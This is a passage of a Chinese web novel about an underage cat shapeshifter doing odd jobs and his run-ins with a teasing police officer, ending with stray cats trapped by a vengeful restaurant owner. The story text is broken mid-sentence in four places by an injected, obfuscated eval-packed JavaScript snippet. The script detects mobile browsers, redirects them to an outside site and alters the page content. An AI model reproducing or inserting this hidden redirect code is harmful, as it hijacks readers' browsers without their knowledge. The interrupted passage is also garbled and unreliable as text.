说罢,他转身走进卫生间。 洗完澡出来,屈政彧湿着上身只套了条长裤,仰面靠在床上。 小宝顺着床沿爬上来,熟门熟路地往他腰腹上一绕,冰凉的鳞片贴着蜜色的皮肤缓缓收紧。 屈政彧拎起蛇脖子往下一看,“你是不是又胖了?” 小宝不懂他爹嫌弃,无辜地吐着蛇信。 屈政彧手指圈了圈蛇身子,忽然想起那晚扶人时掌心落下的触感,腰身像一把拉满的弓,极韧,极细。 听着年纪不大,是刚放暑假的大学生? 衣服干净,颜色却大不新。 大夏天穿得严实。 对他人的肢体碰触异常警觉…… 他摇着蛇身,一下一下的,小宝的脑袋也跟着一点一点的。 “他罚款没交。”屈政彧对蛇说:“这不合规矩。” 蛇晕头转向不明所以,人倒是拿起手机,“张青,前几天我在市监那边接过一通烧烤店的举报电话,你帮我查下记录。” 他在边境待了十年,人脉大多都在那边。调回梧城以后,手边能用的人不多。不过查个号码而已,不是什么难事。 很快,电话回了过来。 那头声音发虚,先叫了声:“屈队……”顿了顿,才吞吞吐吐道:“书记说,你既然不屑走特权那一套……” “行了,我知道了。”屈政彧声音微冷,“让老头别熬夜了,回头猝死了。” 此等大逆不道的话也就屈政彧敢说,他丢了手机,粗粝的指节屈了屈,忽然生出一点想摸枪的冲动。 算了。 他躺回床上,板板正正闭上眼睛。 一个陌生人罢了,不会再遇见了。 * 江亦一又在地铁口守了两个晚上,大高个不见了,没付款的顾客也是等到了。 “我隔天就想来给你的,结果一直没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534341|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见你人。” 江亦一让她扫了码,“真的非常感谢你。” 明明看不见脸,可顾客就是莫名觉得他顺眼,忍不住问道:“你年纪不大吧?怎么会出来摆摊的?” 江亦一确认了到账消息,肩膀松了些,“暑假,想着赚点零花钱。” 顾客想起那天看见的一猫一狗,“你这条件摆什么摊啊,开直播不比这个赚得多?” 江亦一抬眼,“直播?” “对啊。”顾客说:“你那猫狗聪明还听话,随便戴个头套、试个围脖就很可爱。你再拍点猫狗的搞笑视频,挂个小黄车卖这些东西,不比在这风吹日晒的强多了?还不用和城管斗智斗勇。” 江亦一没有接触过她说的那些东西,一时间有些茫然。几个词语在脑子里转了一圈,他很快回过神,认真点了下头说:“谢谢你,我会去了解的。” 回到家他就上网查了。 他用的是高良姜的老人机,卡得电池都拔了,还在放歌的那种。 急等慢等又折腾半天,江亦一总算弄明白了直播是怎么一回事。 任何能赚钱的方法他都要试一试,不过他看了条款,直播要求必须成年。 江亦一盯着“十八周岁”那几个字看了半天,尾巴尖抽了椅子一巴掌。 还差几天。 急也急不来。 在此之前,他还得去干别的活。 “小江,你上货的时候注意安全啊。”果蔬批发的老板叮嘱道:“要不是看你实在不容易,我肯定是不能用你的。” 江亦一抬起胳膊擦了把汗,点点头说:“你放心吧叔,我知道的。” 白白净净的一个孩子,都还没自己儿子大,老板心里不落忍,“手套戴好,实在热就去阴凉地儿歇会,别中暑了。” 江亦一又点点头,抱起一筐香瓜往零售商的面包车上放。 老板看了他一会,叹了口气,转身踹向自己捧着手机打游戏的儿子,“玩,玩,玩,整天就知道抱着你那破手机玩!家里这么多活你就不知道帮着干一点啊?” “那不是有小工吗?”老板儿子不耐烦,一直被念叨着直到屏幕上出现了“失败”字样,这才翻了个白眼站起身。 江亦一装满一车又在装下一车,一连干了大半天,实在累狠了,屁股搭在面包车的后厢边沿上,仰头喘了口气。 白色的背心早被汗液浸得湿润,胸前后背都蹭了脏污。布料微微透肉贴在身上,随着喘息一起一伏的,描摹着少年漂亮青涩的肌肉线条。 汗水挂在睫毛上,摇摇欲坠。江亦一甩了下头,直起身再次搬货。 “长成这样你打什么苦工啊……”老板儿子拎着西瓜嘟囔了一声:“找个富婆傍上去得了。” 江亦一左耳进右耳出,箱子沉,他手臂青筋绷起来,刚把货推到底,外头忽然传来声喊:“劳动监察大队,都别走啊,查一下用工情况。” “小屈,你去那边控制人员出入,检查结束之前都不许走。” 磁性的嗓音不掩散漫,还有熟悉感:“收到。” 江亦一腰还弯着,后颈的汗一下凉了。 5. 放猫一把 江亦一撒脚就跑,屈政彧拔腿就追。 没人能比小猫快,可这是大卡车。 江亦一一口气窜出去老远,拐过墙角才发现前头是条死路。墙根堆着几个塑料水果筐,他脚下一刹,踩着筐沿就往墙头上蹿。 指尖刚扒上去,腰间猛然一紧。 屈政彧从后头赶上来,扣住他的腰往下一收,硬生生把人薅了回来。 江亦一脑子懵了一瞬,呆呆低头,瞧见这人单手就将他端在空中。 ……他好歹也有一百三十斤啊,这还是人吗?! 屈政彧抬头看他,“你跑什么?” 江亦一这才反应过来,奋力挣扎着,“你放我下来!” 屈政彧感觉自己握着一条胡乱扑腾,“berber”甩尾巴的鱼。 腰腹滑腻,肌肉在掌下绷紧、颤动,青涩却充满活力。劲儿大得超乎屈政彧的想象,偏偏又细得一手就能掌控。 屈政彧舌尖抵了抵腮帮,“啧”了一声。 江亦一气得脑子都嗡嗡响,两只手齐齐糊上去推他脸,“放!开!我!” 屈政彧偏了偏头,居然还能笑:“哎,差不多行了啊,再挠就是袭警了。” “城管才不是警察!” “那就袭击公职人员,一样的。” 江亦一眼前发黑,恨不得再蹬他两脚,谁知下一秒,扣在腰上的那只手忽然一松。 他一怔,还没反应过来时,整个人就已被放回了地上。 江亦一后退两步,捂着腰,满脸警惕地瞪着他,“你追我干什么!” 屈政彧歪了歪头。嗯,又倒打一耙了。 “你不跑,我追你干什么?” “是你追我,我才跑的。” 两人你一句我一句,绕着车轱辘话。江亦一是不能认怂,屈政彧是觉得挺有意思。 他想起那天晚上的视线,想起墙角一闪而过的奶牛猫。再看看眼前的少年,忽然觉得这一人一猫莫名有点像——都是黑白分明的。 “好吧,让我们跳过这个话题。”屈政彧说:“你好像有点眼熟。” 江亦一仗着对方没有证据,倔着脑袋说:“我是大众脸。” 屈政彧轻轻“哦”了声,拖腔带调的,“大众脸啊。” 他往前走了半步,黑色的靴尖停在江亦一鞋前,歪头看他,“可大众小朋友,我还是觉得我认识你。” “你的觉得不对,你认错人了。” “是吗?”屈政彧笑了下,“那你说我认成谁了?” 江亦一抬眼瞪他,“我怎么知道?” 屈政彧目光在他汗湿的额发上停了一瞬,移开身形,让出风口,“今天带身份证了吗?” 江亦一带了,但不能拿。他还差几天才成年,打普通的零工没有问题,可长时间的搬运和装卸属于过重劳动,用人方是会被罚款的。 老板是好人,他不能害他。 江亦一嘴硬道:“没带。” 屈政彧看着他,“又没带?” 江亦一瞄见了不远处正在给其他劳动监察员递烟的批发老板,回说:“又不是有事要办,谁天天带身份证?” “也对。”屈政彧点点头,“那报号码。” “……”江亦一垂下眼,手指在裤缝边蜷了蜷,“我记不住。” 屈政彧笑了声。 不是那种懒洋洋逗人的笑,声音很低,听不出多少情绪,“那名字总记得吧?” 小骗子一个,本以为是大学生,没想到还未成年。 屈政彧没再说话,低头看到他头顶的发旋。小小一个,被汗水压得有些乱,倔倔地支着几缕毛。 他突然有些好奇他这次会如何应付,却见他抬起了头。 他生得很好看,是很锐利的好看。眼睛微微上挑,面无表情时显得有些高傲,生气时更不好惹。 湿漉的白色背心透肉,他大汗淋漓。剧烈运动后的眼尾红得有些可怜,眼神却很凶恶。 屈政彧摩挲着指节,忽然想要触碰那双眼睛。他强行移开目光,掌心插进裤兜里。 江亦一报出烧烤店老板的名字问道:“你和他是什么关系?” 屈政彧检索了大脑,确定不是他过往抓过的犯罪分子,回应道:“不认识。” 江亦一面上没什么变化,心里悄悄松了口气。 这人不认识烧烤店老板,说明不是刻意来报复他的。 江亦一心中稍定,又很快提了起来。他悄悄抬眼,飞快瞥了屈政彧一眼,又低下去,小声问:“你上次放过我了,这次能不能也放了我?” 屈政彧一时没接上话,“你说什么?” “我知道那晚要不是你故意放水,我跑不了的。” 少年脑袋低着,只能看见白皙的耳朵。也不知道是热的,还是这句话说得太没底气,那耳尖红得明显,氤氲着一层胭脂色。 “你都放过我一回了,再放一次不行吗?” 见屈政彧没有反应,他语气略微急促道:“摆摊的罚款我会补的……但不是现在。” 声音越说越低:“我真的会补的。” 屈政彧看着他,喉结轻轻一滚,忽然闷闷笑了起来。 江亦一那点好不容易软下去的乖顺,被他这一笑当场冲散。前一秒还在求人,下一秒就抬眼瞪人,眼神凶起来,“你笑什么?” 屈政彧侧过身,抬手虚虚抵在唇边,“抱歉,抱歉。” 他根本就不是个正经人! 哪有公职人员留着美式前刺,长相这么痞的? 屈政彧食指抵着眉骨,指节从眉尾慢慢蹭到断眉那处,眼里那点戏谑又浮出来,“我不是在笑你。” 他在笑自己有一天也会这么双标。 江亦一抿紧嘴巴,心想这人的工作其实是假冒的吧?这能举报吗?完全就是个…… 就在江亦一思考要不要变成猫再蹬他两脚时,另一个劳动监察员走了过来,“小屈,你这边人员的情况核实完了吗?” 江亦一的后背瞬间绷紧。 寂静之中,屈政彧模棱两可地“嗯”了一声。 “有不合规范的吗?” 屈政彧没有立即回答。 江亦一在这短短的几息里,想好了再度翻墙的可能性。只要没登记上,他就只是个没名没姓的小工。人一跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534342|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谁也说不清他到底多大、干了多久、算不算老板雇来的。 没证据,就罚不到老板头上。 “没有。” 江亦一怔了一下,抬眼望过去,却只看见对方平静的侧脸。 这是江亦一第一次看见他脸上没了笑容。 他眉骨很高,眼窝压出的深影让他在这样刺目的日光下都能睁开眼睛,灰黑色的瞳孔却在那阴影之中窥不出情绪。 那个监察员又转身吩咐了什么江亦一没注意到,他讪讪张了张嘴:“谢谢你啊。” 这么小就出来打苦工……屈政彧沉默片刻,说:“我叫屈政彧。” 江亦一有些愣,摸了摸脸讲:“我叫江小冒……” 屈政彧垂着眼眸,静静看他,“江小冒?” 江亦一移开目光,“嗯,冒险的冒。” 屈政彧意味不明地勾了勾唇角,恢复似笑非笑,“行,江小冒。” 老板倒是笑得热切,一路赔着笑把几位劳动监察员送走,转身时才抬手抹了把额头上的汗,“小江啊,你跟我过来。” 江亦一脱了手套,还进店里的工具箱。 老板没立刻说话,弯腰从冰柜里拿了瓶水,递给他,“喝点。” 江亦一接过来,拿在手里。 老板脸上还挂着没散干净的后怕,“今天是走运了……被查到最起码要罚五千。” 他搓了搓手,像是不知道该怎么开口,半晌才叹了口气,“小江啊,叔知道你不容易,也知道你干活踏实。可这阵子市里严打,今天他们能来,保不准明天还来……” 江亦一垂着眼,瓶身上的水珠顺着指缝往下流。 老板看着他这样,心里也不好受,声音放轻了些,“你还差几天就成年了吧?” 江亦一点了下头。 “那就再等等。”老板说:“等你成年了,你想来,叔还用你。到时候该怎么算工资就怎么算工资,行不?” 江亦一又点点头,“对不起,给您添麻烦了。” “这又不是你的错,怎么能说麻烦。”老板从抽屉里数了钱,“你这孩子太实诚了,看着瘦条条的,一个人能干两个人的活,其实是我占你便宜了。拿着,赶紧回去吧。” 比谈好的价钱多了一百,江亦一小心收好钱,真心实意道:“谢谢叔叔。” 他的生活里,也不全是坏人的。 就连屈政彧,江亦一认真想了想,除了嘴欠一点、手欠一点,对方倒也没有真的伤害过他。 猫的第六感是很准的,他和烧烤店老板不一样。 虽说是他害得自己摆不成摊、还丢了活,可说到底,那是屈政彧的工作,根本就不应该怪到他的头上。更何况,他还放了自己两次。 反倒是自己,在这种时候还骗了他,连名字都没说真的。 江亦一低头扣着手指,觉得坏的那个好像是自己。 如果还能再碰见的话,要认真对他说声谢谢。 江亦一本是这么想的。 可当他骑着电动车,载着快要超时的外卖正对上了屈政彧的交警制服与罚款单时, 他恨不得当场抓花他的脸! 6. 小骗子 水声哗哗,砸在男人宽阔的肩背上,奔流向那道横贯后腰的狰狞伤疤。 屈政彧仰头闭眼,任由水流冲刷。 他在自省。 浴室门“哐当”一声,一条粗长的黑影贴在磨砂玻璃门上。 屈政彧关了水,扯过毛巾随手往腰间一围,拉开浴室门。 小宝盘在门口,粗长的蛇身横了一地,吐着信子想往人身上爬。 屈政彧啧了声,抬脚抵住,拨到一旁,“一边爬去,谁让你过来的?” 天热,他空调温度开得低,回头冻蔫了还得他收拾。 小宝不依不饶,缠上人的大腿就不动弹了。屈政彧拖着这几十斤重的东西照样往前走,到了床边坐下,扯下腰间的毛巾擦起头发。 擦着擦着,动作停了。 毛巾搭在头上遮住他半张脸,水珠顺着棱角分明的下颌一滴一滴滚落。 他垂着眼,缓缓吐出一口气。 自省失败。 屈政彧拿过手机,给他老子打视频电话。 电话嘟嘟响了一会儿,临近快挂断了才被接通,屈剑虹板着语气,“打电话干什么?” 话刚出口,他视线一扫,瞧见了屈政彧赤条条的身子和某个本不该出现在父子视频通话里的位置,老脸顿时绿了,“屈政彧,你敢跟你老子耍流氓?!” 屈政彧面不改色,“小时候尿布都是你换的,都是大老爷们,这有啥的?” 屈剑虹额角青筋突突直跳,“那你在襁褓里还只能听话呢,你现在听吗?” 屈政彧:“那没有。” “那你还不滚去穿衣服!” 屈政彧让小宝卷着手机,起身说:“就你事多。” 要不是隔着屏幕,屈剑虹都想掏枪毙了这兔崽子,“你到底有事没有!” 屈政彧掏掏耳朵,漫不经心说:“我要回公安。” 屈剑虹冷哼:“你说回就回?” “你有意思吗?”屈政彧拉上裤子拉链,“今天给我塞市监,明天给我调社保局,怎么,我是什么奇迹职业模拟器啊?差不多得了,搞得小朋友都觉得我……” 屈剑虹斥道:“你后半句嘀嘀咕咕说什么呢?” 屈政彧拿回手机,往床上一倒,压得小宝直吐舌头,“没什么,我说我要回公安。” 屈剑虹面露狐疑,良久,他冷肃说:“你要回可以,不能是一线。” “不上一线我回去干什么?和你一样当领导坐办公室啊? “你看你,又气。 “我不是说你这领导当得不好啊,我的意思是说,您看您儿子适合吗?” “我儿子是一级英雄模范。”屈剑虹语气平静:“有什么不适合的。” 屈政彧张了张口,“我也不是那个意思,我是说我的性格……” “你什么性格?”屈剑虹冷笑:“你要回一线是吧?行,你敢打电话和你妈说我就让你回。只要你妈同意,你死在那儿我都不管你!” 见屈政彧不吱声了,屈剑虹如同打了胜仗的公鸡,“我和你陈叔叔打好招呼了,明天你给我继续滚交警队去。” 屈政彧“啧”了一声:“您可真行。” “你什么时候断了回一线的念头,什么时候再谈回去。你好好想想,到处轮岗和留在公安系统里,到底哪个更好。” 屈政彧对着挂断音受不了地耙耙头发,发信息道:你好歹让我查个人吧。 老头(猫嫌狗憎版):你要查谁! 屈政彧竟能从这几个字里看出他爹的风声鹤唳,没招回:不是什么重大犯罪分子,就一摆摊逃了罚款的小孩。 老头(猫嫌狗憎版):那跑了不就跑了,人民群众赚钱也不容易,就你那破规矩,强迫症,难不成还要追到人家家里要啊? 屈政彧盯着这行字看了半晌,气笑了。 老头(包庇人民群众版):行了行了,给你十分钟时间。 屈政彧直身就往书房跑,顾不上开灯,打开电脑登入系统,点开卷宗。 距离罂市特大跨境贩毒案结案已经过去大半年,涉案人员几乎被清剿殆尽,唯有一名核心成员在逃,至今下落不明。 电脑屏幕泛着幽白的冷光,照亮了屈政彧半边脸。 缅甸蟒不知何时攀上肩头,蛇首悬在他的颈侧,细窄冰冷的竖瞳锁着屏幕,幽幽发亮。 屈政彧抬起手,神情没什么变化,只掌心一下下抚过蛇颈。片刻后,他松开手,关掉当前页面。 屏幕重新跳出搜索框,屈政彧敲下名字:江小冒。 不是什么大众的名,遍历完资料库也不过两三分钟。屈政彧对着检索结果勾起唇角,“小骗子。” 江亦一打了个喷嚏,正在给他做按摩的半耳橘紧张喊:“老大?” 黑白色的小猫搓搓鼻子,有些没精打采说:“没事,可能是有点感冒,你接着踩。” 半耳橘不愧是主动做的公公,手上立马使劲儿,谄媚道:“老大你瞧好嘞。” 江亦一连轴转时还不觉得,停下来才觉腰酸背痛,浑身没有一处是不疼的。 小猫有的是力气,但昨天的工作显然超出强度。 他肚皮贴地,前爪和后腿朝着四个方向四通八达地摊着,像块融化的黑白年糕。 猫狗都围着他,就连刀疤狸都戴着耻辱圈鬼祟缩在一旁。 江亦一朝它招招爪,“你过来。” 刀疤狸犹犹豫豫,磨磨蹭蹭走到他身边,“喊猫干什么?” “躺下,肚子翻过来。” 刀疤狸倒是想反抗,挣扎半天,还是屈辱地往地上一倒,四脚朝天露出肚皮,“猫告诉你,猫才不是怕了你!” 江亦一慢吞吞抬起一只爪子,踩上它的腹部。 刀疤狸瞬间闭嘴,浑身僵硬着被一只丁点大的小猫翻着裆。 “恢复得还不错,嘴巴再张开我看看。” 刀疤狸忍无可忍地……张开嘴。 “还得吃两天药。”江亦一站起身,“好得差不多你就可以回去了。” 刀疤狸一怔,腿还翘在天上,“你、你嘎猫的蛋,不是为了让猫和屎黄猫一样,变成你的零蛋小弟?” 半耳橘顿时哈气:“你才是屎猫!” 江亦一胡须颤动,过了两秒才清清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534343|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子:“那叫绝育。” 管它是嘎蛋还是什么绝育,刀疤狸搞不懂人类的逻辑,爬起身问:“你真让猫走?” “嗯。”江亦一摸摸它的背脊,“你很强壮,可以自己养活自己。” 刀疤狸此时还不懂这句话的含义,只是有些茫然地看着地上的一堆老弱病残。 真奇怪,这个家伙真奇怪,哪有猫收小弟尽收这些不能打的残废的。 江亦一前爪下压,翘起屁屁,抻了抻酸痛的身体,变回人形。 大太监半耳橘跟前跟后,“不按摩了吗老大?” 江亦一捞起T恤兜头套上,“回来再按,我得出门接活了。” 下个星期就要交房租,片刻都歇息不得。 他想过去送外卖,但交不起押金也没有电动车。不过小猫有的是手段。他找了个受伤歇工的外卖员,谈好由自己替他跑单,两人三七分成。 江亦一接过对方的电动车和手机,记好叮嘱就开始干。一开始还挺轻松,可午高峰一到,七八个单挤在一块儿就开始难办。 他火急火燎,低头戳着屏幕查看路线。好不容易规划好行程拧了把手准备走,车子却像生了根似的,愣是一步都蹿不出去。 江亦一抬起头,对上一张硬朗英俊的脸。 “……” 屈政彧露齿一笑,“这么巧啊,江小冒小朋友。” 江亦一看着他身上的交警制服,脸都木了,“你等着。” 屈政彧挑眉,摁住电动车不放。就见他低头掏出手机,一脸严肃地打出电话,“喂,我要举报有人假冒……” 真是每一步都能猜到,又都出乎屈政彧预料。 屈政彧长臂一伸,指间一勾,把手机从他掌心里抽了出来。 江亦一愣了一下,随即扑上去抢,“还给我!” 屈政彧举高手机,江亦一够了两下没够着,气得雪白的面颊烧起云霞,眉眼鲜活灼人。 “好了,好了。”屈政彧抬手在少年的发顶胡噜了一把,赶在被拍开前先一步收回手,“别坐在车上蹦来蹦去,不安全。” 江亦一夺回手机,拧动把手就要走。车子却只在原地低低一震,没能往前蹿出半步。 电动车虽不是摩托车,可怎么能有人单手就能制住拧足动力的车? 这还是人吗。 江亦一瞪他,“我又没闯红灯你干嘛拦我?” 屈政彧看着他晒得通红的脸,眉头极浅地蹙了蹙,轻“啧”一声:“你是没闯红灯,却也没戴头盔啊。” 江亦一呆了两秒,接着双手合十,求饶道:“我要超时了,你再放我一次行不行?或者你等我一下,我送完这几单就回来交罚款。” 他说这话时额发湿漉漉地贴着眉骨,睫毛也垂着,可怜兮兮的。 屈政彧在他期盼的目光里抬手,指腹在江亦一的额角轻轻一抹,擦了汗。 少年大概是真急了,被碰了也没恼,反倒乖乖抬着脸,眼巴巴的,“可以吗?” 屈政彧露出笑来。 江亦一眼睛一亮。 却听他慢条斯理开口:“不可以。小骗子。” 7. 帮帮小猫 屈政彧仅用一秒就背下了江亦一的身份证号。 真的是个小朋友,七月二七才成年。 照片上的少年眉眼干净,唇线抿得很直,像是拍照那天不大情愿。 屈政彧的目光在照片上停了片刻,递回身份证问:“知道为什么这次不能放你吗?” 江亦一看着手机上超时的订单,半天都没说话。 他知道自己没戴头盔不对,也知道屈政彧拦他没有问题。 可他已经很努力了。 他真的真的,很努力了。 “第一次罚款二十,下一次就是五十。” 屈政彧后面还说了什么,江亦一没听进去。他一把抓回身份证,拧动把手就要走。 车子依然一动不动。 屈政彧按着车头,声音压低了些:“江亦一。” 江亦一猛地抬眼,眼尾红得厉害,“你还要怎么样?” 屈政彧缓缓松手,“注意安全。” 江亦一抿紧嘴巴,什么都没说。 他低头起步,电动车窜出去时,风一下子灌满他的衣摆。不合身的工作服荡在清瘦的肩背,他像一张被风吹响的纸。 超时了三个订单,一个单主表示理解,另外两个要了赔偿。江亦一挨个道完歉,坐在电动车上半天没动。 接单的手机响起“滴”音,他垂着脑袋,使劲搓了搓脸。几秒后,呼出一口浊气。 打起精神,江亦一。 不是什么大事,再跑几单就赚回来了。 他抬手把汗湿的额发往后一抓,正要拿手机接单,却在置物格里发现了一卷纸一样的东西。 像是罚款单,可也太厚了些? 他取出来一瞧,发现罚款单里卷着钱,有零有整,加起来大几百块。 罚款单上几个字:买个头盔,安全为重。 笔迹筋骨分明,与那人痞匪的气质一点不符。 不是,这人有病吧!多管什么闲事啊! 江亦一咬紧牙关,骑上车就往回找。 正值午休,路口这会儿连车都难见,更别提人影子了。 江亦一停在空荡荡的太阳下,捏着那卷钱和罚款单,心口是说不出来的味道。 * 屈政彧以江亦一的名义去城管那边补缴了摆摊的罚款。 露水同事表示不能理解。 屈政彧低头,指间拢火点了烟。猩红一点在唇边明灭,他吐了烟圈,语气淡淡:“规矩就是规矩。” 说罢,手随意一摆,“行了,走了。” 小朋友自尊心强,再见面估计又要炸毛。 先是骂他有病,再把钱一分不少地还回来,没准还要添一句“谁要你多管闲事”。 屈政彧咬着烟笑了一下。 还是别再见了。 正值大暑,热浪蒸腾,路上的车影一摇一晃。 小宝也没了平日里到处乱爬的精神,多数时间都待在自己做了冷热分区的专属卧室里。偶尔盘在客厅阴凉处,粗长的蛇身松松垮垮堆成一团,连信子都懒得吐。 屈政彧进门时,它只抬了抬脑袋,很快又贴回地上。 “人家小猫小狗还知道接主人回家呢,你就趴那儿趴着。” 蛇没有外耳,就算能听见也当他爹放屁。 屈政彧盘腿坐在它身边,支着手肘,看了一会儿,“小宝,我给你找个哥哥怎么样?” 这简直是个新词语、新想法,甭管懂不懂的,反正蛇抬脑袋。 屈政彧也来了兴致,拉开茶几下的抽屉,摸出笔和画板。 长腿一屈一伸地支着,他抱着东西“欻欻”挥舞手腕。 他做过犯罪速写,画得不说多精细,形体与特征倒抓得很准。不到半分钟,纸上就多了个江亦一。 眼尾微挑,眼神又倔又亮。 屈政彧举起画板望了望,忽然笑了一下,提笔落字:江小冒。 小宝早就攀上肩膀,对着画慢吞吞地探了两下信子。 “怎么样?”屈政彧好似征询孩子意见,“这个哥哥好看吧?” 蛇当然看不懂画,但它真就很感兴趣,沿着屈政彧的手腕“呲溜”一滑,想要将画板卷进怀里。 屈政彧五指一拢,提溜着蛇颈拉开,“开玩笑的,这个不能养。” 小宝不满地扭动身体,尾巴尖勾着画板边缘不肯松开。 屈政彧“啧”了一声,拧麻花似的端着蛇丢到一边,“这个不能养,给你养只猫吧。” 他又是几笔落下,一只黑白色的小猫便在纸上探头探脑。圆圆的眼睛,四只小白脚,屁股根还长了个爱心花纹。 “黑猫警长,好玩吧。”屈政彧看看猫,又看了看猫旁边的人,语气半真半假:“等下次再遇见我看看能不能捉回来,它要是不怕你就留给你做个伴儿,你可不要把它吞下肚了……” 纸上的小猫神情严肃,像在暗中观察,爪尖略微抬起,江亦一舔了舔爪子,给自己洗洗脸。 从鼻尖擦到眼角,从眼角擦到耳朵根,擦到一半,再低头补舔两口接着擦。 “老大老大,狗准备好了。”趴趴耳一路小跑过来,尾巴甩得噼里啪啦。 “来了。” 江亦一放下手,迈着猫步走到院子一角。 大黄狗蹲在石磨旁,安静等着江亦一过来。它没有舌头,低低吠出一点气音,这才垂下头亲昵地碰碰他。 江亦一摸摸它的嘴巴,抬头说:“听我指挥,和之前一样拉就行。” 拉是指拉磨。 院里有个小石磨,平时用来磨肉和辅料,喂给牙口不好的老猫老狗吃。 江亦一一天几份工,拉磨的活很久之前就交给狗了。狗不像猫,精力总要找地方耗,江亦一没有多余的时间遛它们,让它们拉磨也是一举两得。 大黄狗熟门熟路地叼起绳索,和趴趴耳一起拉着磨盘绕圈转悠。 江亦一骑在另一条小狗身上,两只爪子抱着手机开始拍摄。 他这几天又研究了一下短视频和直播,感觉这行也不是那么容易做的。宠物赛道很卷,没有吸引人的地方很难做出成绩。 江亦一想了很久,决定从“猫狗帮助人类养家糊口”入手。 这个拍摄角度比人低得多,镜头跟着小狗的世界一颠一颠,全都怼在眼前,看起来很有第一视角的沉浸感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534344|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江亦一盯着画面,却发现不太行。 和演员本狗与导演本猫都没关系,是设备跟不上。 这台老人机能打开相机都费了老鼻子劲,稍微拍上十几秒画面就开始重影、卡顿。卡了半天,莫名其妙就开始唱歌。 “……” 小黑白猫面无表情地伸出爪子,“啪”地按灭屏幕。 小猫创业未半又中道崩殂,这次没有城管,但卒于设备。 江亦一两腿夹手机,双手抱着胸,正在严肃思考换新手机的投入能不能得到回报时,就听大门外忽然传来一阵急促凄厉的猫叫。 “小猫!小猫!” 江亦一一愣,是昨天被放归的刀疤狸。 他连忙从狗身上滑下去,四爪落地就往门口冲。 还没看清铁栅栏后的猫影,浓重的血腥味先扑了进来。 刀疤狸脸上糊着血污,尾巴不正常地折在身后,浑身发抖。 江亦一瞳孔骤然一缩,“谁弄的?” 这只能够给自己养得壮壮的小猫满目泪水,颤声悲愤道:“人!是人!” “猫发现小弟被毒死了,猫要去报仇。”它说到这里,声音抖得厉害,爪子死死抠着地面,“可那是陷阱,猫们都被抓了。” 刀疤狸哽了一下,眼里的泪终于滚下来,“猫跑出来了,还有几只猫跑不出来。你,你这么厉害,能不能帮帮猫?” 江亦一脸色沉了下去。他转身进屋,三两下套上衣服,弯腰抱起刀疤狸说:“带路。” 刀疤狸强忍疼痛抬起爪子,为他指引方向。 江亦一抱着它一路快赶,越跑越觉眼熟。是被他举报过的烧烤店。那老板挨了罚歇业整顿好几天,竟然半点不知悔改,反而变本加厉。 “我当是谁呢。”他阴阳怪气,“这不是江亦一吗?” 江亦一胸口起伏得厉害,再也顾不上伪装,“猫呢?” “什么猫?”他轻飘飘看向江亦一怀里,“猫不是被你抱着呢吗?” “你别给我装傻!”江亦一猛地上前一步,眼底压着火,“被你抓住的其他猫呢?!” 老板假笑道:“我不知道你在说什么。”他说着,也靠了过去,目光像淬了毒一样刮过江亦一的脸,怨恨道:“你这小贱货,我好心给你工作,你不感激我就算了,还敢举报我?” 江亦一脸色一变,一巴掌推开他。力道不重,他却往后一倒,扯着嗓子就开始嚎:“打人啦!有人动手打人啦!” 他这一喊,不明所以的顾客纷纷看了过来,后厨方向也立刻冲出几个人。 江亦一在这干了小半个月,从没见过他们。他们不去扶躺在地上嚎叫的老板,反倒齐齐朝他扑了过来。 江亦一双拳难敌四手,一脚踹开一个,刚往后退了半步,侧腰就挨了一脚。后背重重撞上墙边的杂物架,瓶瓶罐罐噼里啪啦砸了一地。 他眼前一黑,刚克住晕眩抬头,就看见商场保安从门口冲了进来。 老板嚎道:“救命啊老赵,快报警,快报警!” 江亦一心口一沉。 他咬紧牙关,猛地低头撞出去,带着刀疤狸冲出重围。 8. 警察叔叔 江亦一本就在逃跑上天赋异禀,这些人也不是屈政彧那种大卡车,被他三绕两绕,很快就甩没了影。 他抱着刀疤狸拐进巷子,背靠墙停下,胸口急促起伏着,“你还好吗?” 话刚出口,江亦一就察觉不对。 他低头一看,刀疤狸脑袋软软垂着,呼吸微弱。 